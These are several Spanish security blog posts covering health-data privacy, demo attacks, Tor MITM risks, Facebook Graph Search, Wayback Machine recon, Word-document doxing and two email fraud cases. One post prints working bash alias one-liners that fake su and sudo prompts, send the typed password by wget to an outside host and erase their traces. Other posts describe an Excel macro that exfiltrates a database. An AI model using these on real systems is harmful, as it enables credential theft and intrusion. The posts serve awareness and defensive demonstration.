¿A quién le vas a decir la fecha de tu muerte?

Ya que estamos en la noche de Halloween, donde los seres del utlramundo asolarán la noche para ponerse hasta arriba de licores espirituales que los convierta aún más en lo que representan, donde a altas horas de la noche los zombies de incógnito se mezclarán con los de que van disfrazados de tal ente, para compartir con vosotros un macabra reflexión sobre la muerte de todos y cada uno de nosotros. La pregunta que os hago es... ¿a quién le vas a decir la fecha de tu muerte?

Figura 1: ¿A quién le vas a decir la fecha de tu muerte?

Decía el mítico Clint Eastwood en una de sus películas de mi niñez en las que actuaba al margen de la ley que se había retirado por las matemáticas. "¿Las matemáticas?", le pregunta inocente el actor que le da soporte en esa escena. "Sí, los números dicen que en esta profesión a mi edad se suele estar muerto". La estadística que tanto nos hace sufrir en la universidad resulta ciencia clave para el análisis de los datos y la predicción del futuro. Sumado a ella, las técnicas de machine learning basadas en datos y datos de entrenamiento, al final consigue que esa matemática acabe convirtiéndose en resultados más o menos certeros de lo que va a pasar en el futuro, y dad por cierto que vuestra muerte esté en el futuro - os deseo que tan lejos como se sea posible -.

Lo cierto es que si nos hiciéramos un chequeo médico con asiduidad y nos midieran los valores de nuestro sistema cada cierto los doctores, aplicando su estadística y los sistemas de machine learning podrían saber más o menos cuándo va a suceder eso. Cuando alguien con tus síntomas, valores y hábitos va a vivir. Si esto lo hacemos regularme con sensores que reportan constantemente tus datos a la consulta del doctor éste podrá tener más información y pronosticar de forma más atinada cuando vas a comenzar a dormir el último sueño, el más largo y profundo que tendrás.

Figura 2: Datos de actividad física en Endomondo

Eso ya está aquí, y los datos médicos corren a servidores en la cloud bajo las famosas aplicaciones de e-health o los portales para deportistas como Endomondo - ¿La comprará Facebook y acabarán tus datos junto a tus likes y a tus fotos de fiesta? - que recoge tu actividad física. Qué mejor información que una información en tiempo real de todo lo que haces, de cómo reacciona tu cuerpo de cómo te sientan tus propios hábitos para saber cuándo cruzarás con el barquero a la otra orilla.

Ahora Microsoft se ha metido en este mercado con una nueva pulsera y el Apple Watch también tiene sensores para monitorizar tu salud e incluso el nuevo iOS 8 de Apple, sin decirme nada ha comenzado a contar los pasos que doy, los pisos que subo, por dónde me muevo, etc. Todo ello, supuestamente, para que yo me controle. Pero, evidentemente, al final los números los tiene alguien, estarán en algún sitio para que formen parte de ese big data mágico que le permitirá saber a la compañía que elija el momento en el que creen que moriré, y hasta detectar que acabo de hacerlo para comprobar su predicción.

Figura 3: Monitorización de pasos en iOS 8 automática

Este control de salud podrá llegar a convertirse en algo preventivo que te permita mejorar tu salud o en algo completamente pernicioso que se convierta en un asedio de ofertas con planes de pensiones, ataúdes baratos, denegación de créditos, inhabilitación para avalar operaciones o incremento de costes en seguros sanitarios, de vida o de conducir. 

"Lo siento señor Martínez, no podemos darle ese crédito a 5 años porque nuestros sistemas dicen que tiene una probabilidad de morir dentro de 2 años superior al 82 % y por política de compañía nos está prohibido aprobarle su operación crediticia"

El negocio de la muerte siempre ha dado mucho dinero, desde asesinos a sueldos, mercenarios, enterradores, casas fúnebres, agoreros, salvadores de almas y hasta maquilladores para el momento del adiós. Ahora hay otro negocio en ciernes, los predictores que podrán vender a buen precio la fecha de tu muerte. ¿Quién será el tuyo? ¿Has hecho testamento ya? ¿Has elegido ya a quién le vas a decir cuándo te vas a morir? ¡Qué tengas un terrorífico Halloween!

Saludos Malignos!

Ataques a GNU/Linux con alias maliciosos de su y sudo

A principios de este año nos enteramos de que en mi centro de estudios iban a poner Linux en los laboratorios de electrónica. En concreto estaban metiendo GNU/Linux Manjaro, una derivada de Arch Linux en la que por seguridad, los usuarios utilizarían cuentas no privilegiadas para trabajar y cuando fuera necesario pasarían a modo super usuario con un comando "su", para gestionar software o hacer configuraciones.

Figura 1: Cómo hacer ataques a sistemas GNU/Linux con alias maliciosos

El reto que se nos planteó era ver si sería complejo o no robar las cuentas de los super usuarios en los sistemas de este entorno, para ver si esto podía generar muchos problemas de soporte o no. Con esto en mente, se me ocurrió que una forma de robar las contraseñas sería usar un comando alias de los sistemas *NIX* para crear un falso "su" que me permitiera acceder a las contraseñas cuando se teclearan en una sesión de usuario no privilegiado para pasar a super usuario. Os cuento el ataque paso a paso.

Paso 1: Control de la sesión no privilegiada

El primer objetivo es conseguir el acceso a una sesión no privilegiada del sistema. Esto puede hacerse de muchas formas que van desde aprovechar un descuido de la sesión hasta "te paso este ejercicio en este pendrive, ejecuta este programa que te copia todos los ficheros de esta práctica" - para lo que yo me creé un pequeño script bash que descarga de Internet todo - , o cualquier forma de conseguir una ejecución de un script en el sistema. Un buen truco podría ser utilizar un USB Rubber Ducky para ejecutarlo en un descuido de la víctima.

Figura 2: USB Rubber Ducky simula ser un pendrive pero es un teclado programado

No olvidéis que esto está pensado para ataques que se realizan en entornos conocidos y la ingeniería social es importante, como en el ejemplo de ataque que se publicó ayer, donde se robaba la base de datos por medio de la apertura de un fichero Excel creado a medida.

Paso 2: Ejecución del script que crea el falso alias de su

El script inicial, al que llamé "aliasliado" crea un falso alias malicioso para su que simula un fallo en la autenticación cuando se introduce la contraseña que se requiere al ejecutar el autentico comando "su". La idea es que cuando se ejecute el comando "su", realmente se ejecutará el alias malicioso de "su". Éste pedirá  la contraseña de super usuario, la robaría, me la enviaría, mostraría un error de autenticación y borraría todo. El script que crea este falso alias es el siguiente:

alias su=' echo -n "Contraseña: " ; read -s PASS1 ; wget --background --quiet --output-document=$HOME/.local/.wine32 "blogx86.net/aliasliado.php?victima=HackConcept&clave=$PASS1" > /dev/null ; echo "" ; sleep 3 ; echo "su: Fallo de autenticación" ; unalias su >> /dev/null 2>&1 ; unset PASS1 ; rm -f $HOME/.local/.wine32 > /dev/null 2>&1 ; sed -e "/^alias su/d" ~/.bashrc > .temporal ; mv .temporal ~/.bashrc '

Como se puede ver, una vez que se ejecuta el comando "su" vía el alias malicioso, la contraseña que se haya introducido ha volado a manos del atacante y se ha eliminado cualquier rastro de infección dejando que el equipo funcione como estaba funcionando antes.

Paso 3: Una evolución del ataque gracias a "melasudo"

Hablando ayer con Chema Alonso sobre la publicación de este artículo, descubrí que el equipo de auditoría web de Informática 64 - ahora en Eleven Paths - hace un par de años había hecho lo mismo, pero con el comando sudo, mucho más efectivo para algunas distribuciones de GNU/Linux como Ubuntu. En esos casos es script lo aprovechaban para ownear servidores web en los que habían conseguido acceso no privilegiado con la cuenta del servidor web y querían hacer una elevación de privilegios.

Figura 3: Script de melasudo que crea un alias malicioso para sudo

El paso a paso está explicado en el artículo: "Melasudo: robar la password a un sudoer con ingenio" En este alias malicioso, utilizan una llamada a un script oculto en el directorio $HOME de la víctima que me ha gustado, así que he mezclado ambas ideas en el siguiente alias malicioso para que sea mi "Chevrolet Camaro" en este tipo de ataques.

alias sudo=' echo -n "[sudo] password for $(whoami): " ; read -s PASS1 ; wget --background --quiet --output-document=$HOME/.local/.wine32 "blogx86.net/aliasliado.php?victima=HackConcept&clave=$PASS1" > /dev/null ; echo "" ; sleep 3 ; echo "Lo sentimos, vuelva a intentarlo." ; unalias sudo >> /dev/null 2>&1 ; unset PASS1 ; rm -f $HOME/.local/.wine32 > /dev/null 2>&1 ; sed -e "/^alias su/d" ~/.bashrc > .temporal ; mv .temporal ~/.bashrc ; sudo $1 $2 $3 $4 $5 $6 $7'

El siguiente vídeo muestra este script funcionando en un ataque. En él se puede ver cómo se crea el alias malicioso, se roba la contraseña y luego todo queda igual que antes.


Figura 4: Vídeo demostración de ataque con alias malicioso
Conclusiones

Cualquier punto de entrada sigue siendo potencialmente peligroso, ya sea un fichero Excel, un USB Rubber Ducky que se conecta o un programa camuflado de cualquier forma. Conseguir la ejecución en un entorno no privilegiado sería el primer paso para conseguir luego la elevación de privilegios, aun con ayuda de un usuario.

Figura 5: Como conseguir una elevación en Windows con infección de enlaces a aplicaciones no privilegidas

Hace tiempo, cuando Windows Vista implantó UAC por defecto con el máximo nivel de seguridad, ya se publicó en el año 2007 una forma similar para lograr la elevación de privilegios infectando los enlaces a aplicaciones que el usuario no privilegiado tenía, así que como veis, el ataque se puede hacer igualmente en sistemas Windows.

Autor: Christian Prieto
Escritor del blog X86.net

Cómo robar las BBDD de la empresa atacando al jefe

Cuando se trata de hacer un ataque a los servidores internos de una empresa siempre hay que buscar un punto de apoyo en el que apuntalar el ataque. Hace tiempo, antes de que Apple arreglara en iOS 6 las opciones de seguridad por defecto en la carga de las imágenes en los correos electrónicos que se visualizaban en el cliente iOS Mail, escribí un artículo sobre cómo aprovechar esto para hacer ataques de SQL Injection a la web de la empresa usando al jefe o hacer ataques de CSRF, y después salió alguna prueba de concepto que hacía algo similar con un CSRF usando passwords por defecto y debilidades en alertas de navegadores. Pequeñas debilidades que sumadas dan owned!.

Figura 1: Cómo robar la base de datos de la empresa usando a un empleado de la organización

En este caso, para el Security Innovation Day 2014 en Eleven Paths preparamos un ataque similar, pero usando un fichero Excel, una macro VBA (Visual Basic for Applications) y una cadena de conexión con autenticación del lado del servidor. Os lo explico.

Figura 2: Un panel de control para cocinar el ataque

La idea era demostrar como un atacante podría utilizar pequeñas debilidades en una empresa para conseguir robar una base de datos completa SQL Server sin ni tan siquiera hacer mucho ruido. Para ello, el primer paso es sencillo, un correo dirigido con una buena excusa, y adjuntar en él un fichero Excel.

Figura 3: El correo electrónico le llega a la víctima sin ningún aviso de seguridad

Si es un jefe, seguro que se te ocurren mil y una excusas para enviar un correo electrónico con un Excel adjunto. Así que usa tu imaginación en esta parte del proceso. Nosotros no le dimos demasiada importancia a esto, pero si encima el target tiene una configuración relajada del registro SPF podrás incluso suplantar a algún empleado interno de la empresa con facilidad.

Figura 4: El fichero se guarda en el equipo local con un Drag & Drop para evitar la alerta de zona de Internet

Una vez que el fichero adjunto se abra se mostrará una alerta indicando que hay algún contenido que ha sido deshabilitado, para conseguir engañar al usuario, de nuevo, puedes hacer uso de algún truco de ingeniería social. En este caso el truco es que se está cargando una imagen externa.

Figura 5: Falta una imagen porque no has aceptado la alerta de seguridad

Si el jefe activa el contenido, lo que realmente sucede es que se carga una macro VBA que realiza todo el trabajo. Para la demo hicimos una cadena de conexión con Autenticación Integrada, al igual que realizábamos en los ataques de Connection String Parameter Pollution. Para que el usuario se quede tranquilo, nosotros le mostramos la imagen como si fuera lo único que hubiera pasado en su equipo.

Figura 6: Ahora aparece la imagen en el fichero Excel

Como para la demo sabíamos el nombre del servidor SQL Server, la forma en la que se hace la cadena de conexión es muy sencilla, pero se podría haber realizado un escaneo de toda la red al estilo de Scanner CSPP que creamos, probando a conectarse a todo el rango de direcciones IP de la red.

Figura 7: La macro que se conecta al Servidor SQL Server con Autenticación Integrada, roba los datos y los manda al C&C

Cuando encuentre el servidor SQL Server y se pueda autenticar en él con las credenciales que la víctima haya utilizado para abrir su sistema operativo Windows, entonces se podría hacer un recorrido completo por el diccionario de datos y traer absolutamente todo. Para este ejemplo, tiramos una consulta contra una tabla de la base de datos y listo, eso sí, usando el For XML al estilo de los ataques de Serialized SQL Injection.

Figura 8: Datos reportados al C&C

El último paso es fácil, reportar todo a un panel de control en la web de la forma más silenciosa o sencilla. Para esta demo no quisimos complicarlo y se enviaba como parámetro GET de una petición, lo que permitía recoger la info que había en la base de datos.

Figura 9: Ningún AV de Virus Total muestra ninguna alerta de seguridad

Al final era un pequeño ejemplo de cómo la suma de pequeñas debilidades, como fugas de información de versiones utilizadas, nombres de personas de la organización, reglas relajadas en los filtros anti-spoofing SPF, políticas de seguridad de la aplicación Excel o el uso de Autenticación Integrada en SQL Server, podrían llevar a un atacante a tener éxito en el robo de datos de tu organización de forma sencilla.

Figura 10: Bosses Love Excel, Hackers Too!

Por supuesto, este fichero Excel cocinado a medida para este ejemplo no es detectado por ningún motor antimalware como algo malicioso o sospechoso. Solo es un Excel, y como dijimos Juan Garrido y yo en la charla de Defcon 19 donde explicábamos la cantidad de cosas que se pueden hacer con él, "Bosses love Excel, Hackers Too!".

Saludos Malignos!

Descargar ejecutables de Deep Web puede ser peligroso

El título bien podría ser "descargarse ejecutables desde cualquier red puede ser peligroso", pues permitir a un programa que realice acciones en tu equipo no es buena idea si no confías mucho en su procedencia, pero cuando conoces su procedencia pero lo descargas desde una red que puede tener un esquema de Man in the middle - uno de los ataques de red más comunes - esto puede ser aún más peligroso aún. En el caso de la Deep Web, en concreto en la Red TOR, tanto los nodos de entrada como los nodos de salida mantienen un esquema de Man in the middle entre el cliente y el servidor, por lo que si uno de ellos se vuelve malicioso, podría ser muy peligroso.

Figura 1: Descargar ficheros desde un nodo TOR malicioso es peligroso

Cuando estuvimos haciendo el trabajo de Owning Bad Guys {and Mafia} Using JavaScript Botnets utilizamos un servidor Proxy anónimo como esquema de Man in the middle, pero también montamos un nodo TOR de salida malicioso que manipulaba las respuestas DNS. En aquel entonces nos detectaron las medidas de seguridad y os lo dejé escrito en el artículo "Protección contra DNS Hijacking en la Red TOR".

Figura 2: Conferencia de Owning bad guys {and mafia} using JavaScript Botnets en Black Hat USA 2012

Al final, cuando nos conectamos a cualquier red siempre tenemos esquemas de Man in the middle, que pueden volverse peligros ya sea mediante un Access Point en la red WiFi que nos pueda hacer un ataque de Web Proxy AutoDiscovery, un router que nos haga un ataque SLAAC o el mismo servidor VPN que estés utilizando e infectando todos los ficheros JavaScript que descarguemos. Es por ello que autenticar y cifrar extremo a extremo es lo más deseable para garantizar que te estás conectando al elemento que quieras y que nadie en medio va a poder acceder a los datos que van en la comunicación.

Si el cifrado extremo a extremo no funciona, alguien podría meterte en una JavaScript Botnet, acceder a tus datos, o manipular los ficheros que descargas. En Hack Players hablaron hace tiempo de BDFProxy, una herramienta que en tiempo real infecta todos los archivos que pasan por un esquema de Man in the middle, lo que haría que cualquiera de esos que acabe ejecutándose en el cliente de la víctima quede comprometido.

Figura 3: Ejemplo de funcionamiento de BDFProxy para infectar binarios

Efectivamente, el manipular estos ficheros para meter el backdoor acabaría por romper cualquier firma digital del fichero que sea comprobada a posteriori. Esto, en los sistemas de actualizaciones es comprobado desde hace tiempo - o al menos debería - ya que desde que el investigador argentino Francisco Amato (@famato) publicó las técnicas de Evil Grade, se sabe que un atacante podría estar actualizando el software de su sistema operativo y alguien, con un ataque de Man in the middle, en lugar de entregar una actualización legítima entregue un backdoor para controlar el paquete.

Figura 4: Fin fisher uso un bug de Evil Grade en iTunes para infectar Mac OS X durante años

Si esto sucede, el software de actualización no funciona, y sale un error de firma incorrecta del binario, que es lo que llevó al creador de BDFProxy a investigar los nodos de la red TOR en busca de alguno que estuviera alterando los binarios.... y acabó por encontrarlo. El nodo malicioso en concreto estaba en Rusia, y estaba infectado con bots para controlar equipos que se conectan a través de la red TOR y enviándolos a paneles de control en servidores de Internet. De hecho, uno de los binarios infectados apunta a una web del pueblo de Alcoy, donde se puede ver que en Google han quedado indexados unos enlaces "extraños" con parámetros codificados.

Figura 5: Enlaces a un posible panel de control en una de las webs que aparecen en el binario

El riegos de utilizar esquemas de Man in the middle es que al final hay que confiar en los dispositivos de red que están en medio - por eso la NSA intentaba controlarlos en sus operaciones de espionaje - y en algunas redes como CJDNS conseguir acceder a ella exige un proceso de ganarncia de confianza. Sea como fuere, si vas a bajarte un binario ejecutable, hazlo desde la conexión más confiable posible.

Saludos Malignos!

Facebook y el extraño caso de poder ver las fotos de personas que no son tus amigas

Hace unas semanas me topé con una historia divertida sobre privacidad en Facebook que me sacó una sonrisa. No era muy activo como usuario de Facebook y por eso maté mi cuenta personal, que convertí en mi página Facebook donde publico los posts de nuestros blogs y poco más. Por allí, uno de los lectores llamado Rubén me contactó y me preguntó si conocía el "bug" que permitía ver las fotos de la gente que no es amiga tuya.

Figura 1: ¿Cómo ver las fotos que en Facebook gente que no es amiga tuya?

Inicialmente pensé en el problema de indexación de Facebook con las fotografías en Google, pero resultó ser que no, así que me envió un ejemplo de "Cómo ver las fotografías de personas que no son tus amigas".

La descripción del "bug"

Como yo no lo conocía, Rubén  me envió un paso a paso para que lo entendiera. Todo comienza con una búsqueda de un perfil cualquiera en Facebook, en este caso, el de alguien llamado Rafa.

Figura 2: Perfil de Rafa localizado buscándolo

Una vez que se está en ese perfil se va a ver las fotografías que tiene públicas, y como podéis ver no aparece prácticamente ninguna, con lo que no hay mucho que ver.

Figura 3: No hay fotos de Rafa

Para conseguir ver las fotos hay que irse a las Opciones de Configuración de la cuenta de Facebook y modificar el idioma a Inglés.

Figura 4: Configuración de cuenta

Para ello, en donde esté configurado nuestro idioma como Español, se pone Inglés de Estados Unidos y se da a guardar.

Figura 5: Configuración inicial de la cuenta

Figura 6: Cambio de idioma a Inglés

Una vez que el idioma ya se ha guardado correctamente, todas las opciones de la cuenta estarán en perfecto Inglés.

Figura 7: Cuenta ya configurada en Inglés de Estados Unidos

Ahora hay que ir atrás en la navegación para volver a la página de búsqueda, donde aparece el cuadro de dialogo de buscar.

Figura 8: Hay que volver atrás en la barra de navegación

Solo hace falta poner el cursor sobre él, y como recuerda la búsqueda anterior, saldrán las opciones de ver las fotos de Rafa, tanto las suyas como las que le gustaron, las que comentó, etcétera.

Figura 9: Cuadro de búsqueda. Hay que hacer clic en el cuadro de dialogo.

Figura 10: Opciones de búsqueda de fotos de Rafa

Y se podrá por supuesto visitar todas y cada una de ellas que nos vaya mostrando Facebook.

Figura 11: Fotos que le gustan a Rafa

La historia por detrás con su explicación

Como tengo conocidos en el equipo de seguridad de Facebook, le pregunté a Rubén si le importaba que se lo contase a ellos a ver qué explicación había y él me dijo que sí, así que hablé con mi contacto allí y tras leerse el paso a paso me dijo.

"Chema, no es nada, es solo que la función de Graph Search está solo en inglés, por eso solo le salen las fotos solo cuando el idioma está en inglés. Nada más."

En definitiva: No es un Bug, es un sistema de búsquedas que solo está disponible en inglés, pero respetando la privacidad de las configuraciones de las cuentas. Como podéis ver yo soy un noob usando Facebook. Se lo conté a Rubén, que también se quedó con la copla y todo resuelto. Lo mejor de todo es que yo no conocía este detalle, y desde esta historia me he dado cuenta de que merece la pena tener el idioma de Facebook en Inglés de Estados Unidos, pues gracias a Graph Search se puede sacar mucha más información de la que yo inicialmente pensaba, así que no es un "bug", pero sí una gran feature... solo en Inglés.

Saludos Malignos!

¿Cuántas copias históricas se pueden obtener de un documento publicado en Internet?

Una de las cosas que nosotros hacemos en nuestros sistema de Pentesting Persistente Faast es la búsqueda de todas las URLs históricas que ha habido en todos y cada uno de los sitios web de una organización.  Para ello, una opción es irse a Archive.org y buscar todas las URLs pidiendo el listado completo de todas ellas, tal y como se explica en el artículo de Hacking con Archive.org.

Figura 1: El primer asterisco es para "cualquier fecha", el segundo es para "cualquier cadena a partir de aquí"

Una de las cosas que yo he estado mirando es cómo obtener de forma rápida, de una URL concreta, el número de copias distintas que tiene The Wayback Machine de ella. Es decir, saber ¿Cuántas copias puedo sacar históricas de una documento en Internet? Por ejemplo, si quiero saber la cantidad exacta de ficheros distintos de que hay disponibles de un fichero concreto que interese en una auditoría de seguridad.

Figura 2: ¿Cuántas copias únicas se pueden conseguir de un documento en Internet?

Localizar el número de copias únicas de un fichero en Archive.org

Si queremos saber el número de copias distintas que Archive.org tiene del fichero robots.txt en el dominio www.apple.com, podríamos pedir una URL concreta y ver la respuesta.  En los resultados se aprecia que hay una buena cantidad de capturas de esa URL, pero si quiero saber el número de ellas que son únicas, entonces es más complicado, ya que en esa página de resultados no aparece. Sin embargo, si miramos los resultados de la Figura 1, podremos apreciar que The Way Machine, en el listado de los resultados sí que aparece el número de Copias Únicas, es decir, de copias de esa URL con información distinta, lo que me tendría que ayudar a saber exactamente el número de documentos diferentes.

Figura 3: Si pides la URL concreta no da la información de las copias únicas

Ese valor me permitiría saber cuántos son los documentos que necesito obtener para tener todo lo que se ha podido filtrar vía, por ejemplo, el fichero robots.txt de www. apple.com. Tened en cuenta que, vistos los ejemplos de ataques que se pueden hacer con un robots.txt que se explican en "No me Indexes que me cacheo", el contar con todas las copias de los ficheros robots.txt puede ayudar a localizar algún punto vulnerable de esa infraestructura.

Tras jugar con ello, he visto que resolver esto en Archive.org es sencillo, y no solo vale para resolver esta pregunta, sino para que de forma rápida permita localizar copias de los archivos cuando estos han sido filtrados. Para ello, en lugar de utilizar toda la URL en la petición, basta con pedir la URL con un asterisco en la extensión.

The Wayback Machine solo permite este comodín al final de la URL, por lo que se puede utilizar como extensión y localizar todas las copias de una misma URL pero que acaben de forma distinta, para sacar backups o indexación de la misma URL con distintos parámetros, lo que da bastante juego. Con esta información sería posible hacer un script que capturase ese valor de la Figura 4, y luego fuera recuperando archivos distintos en la primera hasta que se tenga los 28.367 archivos que hay que tener para estar seguros de tener todas las copias de esa URL disponibles en Archive.org.

Figura 4: Wayback Machine tiene 28.367 copias distintas de http://www.apple.com/robots.txt

Fugas de información por metadatos en documentos modificados

Por supuesto, esto también es perfecto para localizar las fugas de metadatos en copias de archivos ofimáticos que dan situaciones como las descritas en los casos de análisis forense de metadatos o simplemente para saber qué se modificó en documentos publicados en páginas webs. En este caso, con la mda.mil, es posible limitar la búsqueda a los documentos PDF del directorio de documentos y sacar el número de copias únicas de cada uno de ellos.

Figura 5: Copias únicas de documentos PDF de la mda

Como se puede ver, de los más de seiscientos que hay publicados, de algunos ha habido hasta 10 modificaciones a lo largo del tiempo, lo que más que probablemente dará más información al sumar el análisis de todos ellos que solo al analizar uno.

Saludos Malignos!

Doxing y las zonas de seguridad de Microsoft Outlook

Las técnicas de Doxing se utilizan para desvelar identidades ocultas en la red. Saber quién está detrás de un perfil falso de Facebook, quién es el que maneja una cuenta de Twitter o el que está detrás de un correo electrónico. El objetivo de todas estas técnicas de doxing es poder averiguar nueva información de la persona detrás de la cuenta. Una nueva dirección IP, un número de teléfono o una versión de software pueden ayudar a avanzar en una investigación y por tanto son muy delicadas y codiciadas todas las nuevas técnicas que se conocen a este respecto.

Algunos ejemplos de doxing

Por ejemplo, la fugas de información por metadatos han ayudado a resolver muchos casos en el pasado, como el ejemplo de las notas de prensa de anonymous o el de la filtración del ERE del PSOE a lo medios. 

Figura 1: En el cliente Mail de iOS se revelaba la dirección IP, y en el USER-Agent la info del dispositivo

Pero no solo eso, por ejemplo los bugs de seguridad que permitían utilizar técnicas click to call en las apps de iOS dejaban a un atacante la posibilidad de conseguir la revelación del número de teléfono, o la carga insegura de imágenes en correos electrónicos, como vimos en el cliente iOS durante mucho tiempo, podría ser utilizado para localizar siempre a una persona.

Un ejemplo de doxing con un documento Microsoft Word

Para el último Security Innovation Day le dedicamos una pequeña parte de una de las charlas a esto, y en concreto a sacar a la dirección IP de una conexión forzando un callback home con un documento Microsoft Word especialmente creado para cargar una imagen remotamente - desde una máquina controlada - sin que le diera una alerta al usuario que abría el documento.

Figura 2: Un documento de Microsoft Word para hacer Doxing

Sin embargo, si el documento es abierto después de haber llegado por Internet, ya sea por el correo electrónico o descargado por medio de un navegador para conectarse a la web, entonces el documento al ser abierto muestra una alerta genérica de seguridad, tal y como puede ser visto. 

Figura 3: Alerta de Seguridad en Microsoft Word por la seguridad de la zona

En nuestra demo, esta alerta salía porque para el ejemplo enviábamos el documento como adjunto de un correo electrónico que es enviado a la víctima, y tanto si haces doble clic sobre el fichero adjunto como si guardas el fichero con las opciones del menú contextual y lo abres después, la alerta indica que el documento viene de Internet y puede ser peligroso.

Figura 4: Zonas de seguridad en Outlook

Esto lo explica Sergio de los Santos (@ssantosv) en su libro de Máxima Seguridad en Windows cuando muestra que las Zonas de Seguridad de Internet Explorer también existen en Microsoft Outlook, como cliente de un servicio de Internet que es. Así, estas se pueden igualmente personalizar y configurar para decidir cuáles deben ser los controles a aplicar.

El drag & drop y el cambio de zona de seguridad

El asunto está en que, si el documento que viene como adjunto, en lugar de ser abierto haciendo doble clic o usando la acción de guardar de Microsoft Outlook, es extraído mediante un drag & drop, es decir, arrastrando el documento desde el adjunto del correo electrónico hasta, por ejemplo el escritorio, todo cambia.

Figura 5: El documento es arrastrado al escritorio desde el cliente de Microsoft Outlook

Con ese proceso se ha cambiado el documento de una Zona de Internet a un Zona Local, por lo que todas las opciones de seguridad también cambian y no sale ninguna de las alertas anteriores. Esto provoca que inmediatamente, nada más abrir el documento se comunique la dirección IP al servidor controlado por el atacante y se descubra la dirección IP original.

Figura 6: El documento se abre sin alertas de seguridad y reporta la dirección IP al servidor del atacante

El problema es que los usuarios, que siempre luchan contra las medidas de seguridad que ellos consideran "molestas", puedan haber tomado como costumbre esto para evitarse la alerta de seguridad que sale en el documento, y sin darse cuenta están quitando una medida de seguridad que no solo protege frente a doxing, sino que tiene medidas de seguridad que ayudan a evitar las infecciones de malware o dificultando el éxito de exploits. Si usas Microsoft Outlook, ten presente este funcionamiento para mantener tu sistema Microsoft Windows más seguro.

Saludos Malignos!

Dos casos reales de robo de dinero con suplantación de identidad de ayer mismo

Durante el día de ayer me pidieron asesoramiento para un par de incidentes que me resultaron curiosos por el modus operandi de los estafadores. Casos en los que en lugar de buscar una forma burda y rápida de robar el dinero, eligieron una manera sigilosa y quirúrgica para hacerlo.

Figura 1: Dos casos reales de robo de dinero con suplantación de identidad

Os los cuento por aquí, para que veáis que esto no es películas y que te puede pasar a ti o a tu empresa también y cómo han aprovechado todos los detalles posibles para pertrechar sus ataques.

El caso de la transferencia bancaria de 19.000 € por e-mail

El primero de los casos es un ataque contra un individuo que cuenta con unos ahorros en su cuenta corriente. Esta persona lleva trabajando tiempo con la misma sucursal bancaria y por tanto ha llegado a un nivel de confianza tal como para mantener una correspondencia habitual por medio del correo electrónico pidiendo pequeños pagos, movimientos e información de su cuenta. La relación es fluida, y durarera en el tiempo, así que esas acciones se acaban llevando a cabo sin una confirmación robusta de todas y cada una de las órdenes que se realizan. De vez en cuando hablan por teléfono así que no hay problema en la confirmación. 

De repente, durante el día de ayer, la persona recibió un aviso desde el proveedor de su cuenta de correo electrónico (Google) informándole de que se había producido una conexión a su identidad desde una dirección no habitual, que si era él no pasaba nada, pero que si no era él que la bloqueara y cambiara la contraseña. Por supuesto, tras verificar que el correo electrónico era original y no un caso de suplantación de identidad mediante una técnica de spoofing de e-mail para hacerle un ataque de phishing se preocupó e hizo lo que le pidieron. Al mismo tiempo recibió una llamada telefónica del banco.

La persona de la sucursal que habitualmente le realiza las acciones le había llamado por teléfono para confirmar si los 19.000 € que iba a transferir al extranjero tenían algún motivo concreto, ya que le parecía muy extraño que una orden de semejante cantidad se hiciera por correo electrónico. No hay ni que decir que él no había hecho la petición de la transferencia, pero la persona que lo había pedido lo había escrito desde su correo, imitando la forma de escribir suya. Como el banco por seguridad tenía la cuenta bloqueada para transferencias internacionales, el atacante había tenido primero que mantener una correspondencia para pedir que cambiaran esa restricción, para después pedir la orden de transferencia de los ahorros de la víctima a un país extranjero.

Evidentemente, la alerta en el último momento de la empleada de la sucursal, y el que pudiera hacerse con él por teléfono a tiempo para confirmar todo, pararon en última instancia el que se llevaran el dinero de su cuenta. El atacante había robado su cuenta de correo electrónico, había estado leyéndose los correos uno a uno y conociendo el entorno de su vida personal a través de su vida digital, para preparar el mejor ataque posible, y cuando lo encontró, lo hizo de manera bien pensada y aprovechando todas y cada una de las debilidades que pudo.

Le robó una cuenta de su correo personal al que se conectaba porque no tenía un segundo factor de autenticación asociado. Eso implica que o bien tenía el equipo infectado con algún troyano para robar identidad o que había realizado alguna conexión a una red de forma insegura. Después se aprovecho de que la persona había, conscientemente, rebajado los niveles de seguridad al utilizar el correo electrónico para comunicarse con su banco y solicitar acciones sobre sus cuentas. 

El caso del cobro de los servicios que se paga a un tercero

El segundo de los incidentes del día de ayer no acaba tan bien. En este caso, una empresa A trabaja para otra empresa B. Dicha empresa B debe realizar los pagos para la empresa A en una fecha que denominaremos el día D. Pocos días antes del día D, uno de los responsables del proyecto de la empresa A se va de vacaciones unos días activando el famoso OoO (Out of Office) informando del hecho, pero como había dejado todas las gestiones realizadas, solo cabe esperar que el día D llegue el pago de la empresa B hacia las cuentas de la empresa A.

Llegado el día D, la empresa A constata que no ha recibido el pago de B, y tras regresar el responsable del proyecto de sus vacaciones contacta con la empresa B para reclamarlo. La empresa B, en ese momento responde que realizó el pago en tiempo y forma a la cuenta que le había dicho el responsable de la empresa, enviándoles además el justificante de transferencia.

Cuando revisan el justificante, se percatan de que la transferencia se ha hecho a una cuenta de otro país, que nada tiene que ver con ellos y les dicen que se han equivocado. Sin embargo, la empresa B les envía los correos electrónicos enviados por el responsable de A solicitando el pago del proyecto a esa cuenta, que por supuesto es de un atacante que se ha llevado el dinero.

No he tenido acceso a esos correos electrónicos, pero está claro que el atacante tiene controlada la empresa A o la empresa B. Si los correos electrónicos son un spoofing de las cabeceras de correo de la empresa A, entonces conocía el proyecto (ya fuera por una fuga de información de A o de B) y se la ha colado a la empresa B a la que ha engañado, por supuesto, en ese caso, el que la política SPF de la empresa A no fuera lo suficientemente robusta habría ayudado a esa suplantación, lo que le permitiría a la empresa B abrir un debate sobre si es responsable en algún término al no haber endurecido sus políticas anti-spoofing.

Si por el contrario, el correo ha salido de los servidores de correo electrónico de la empresa A, entonces parece claro que el engaño y robo se lo han hecho a la empresa A, pero por otro lado lo cierto es que nunca se realizó el pago de los servicios desde la empresa B a la empresa A, por lo que al fiarse de un medio como el correo electrónico para confirmar un cambio de cuenta de pago es también responsabilidad de la empresa B.

Lo que sí que está claro es que el atacante se ha llevado todo el dinero por conocer todos los detalles del proyecto, que el responsable estaba fuera de vacaciones y que el correo electrónico era el medio que estaban usando las dos empresas para comunicarse en detalles tan importantes. Quién se quedará sin el dinero está aún sin resolver.

Una reflexión final

Como podéis ver, los atacantes hacen ataques dirigidos mucho más elaborados, como los que muchos creen aún que solo son de película, sumando para ellos pequeñas debilidades de seguridad en los procesos de gestión de las identidades digitales personales y empresariales. Ten mucho cuidado y si quieres saber un poco más de estos casos, te recomiendo la lectura del libro de Fraude Online.

Saludos Malignos!

WordPress: SQL Injection Bug en Scarcity Builder Plugin

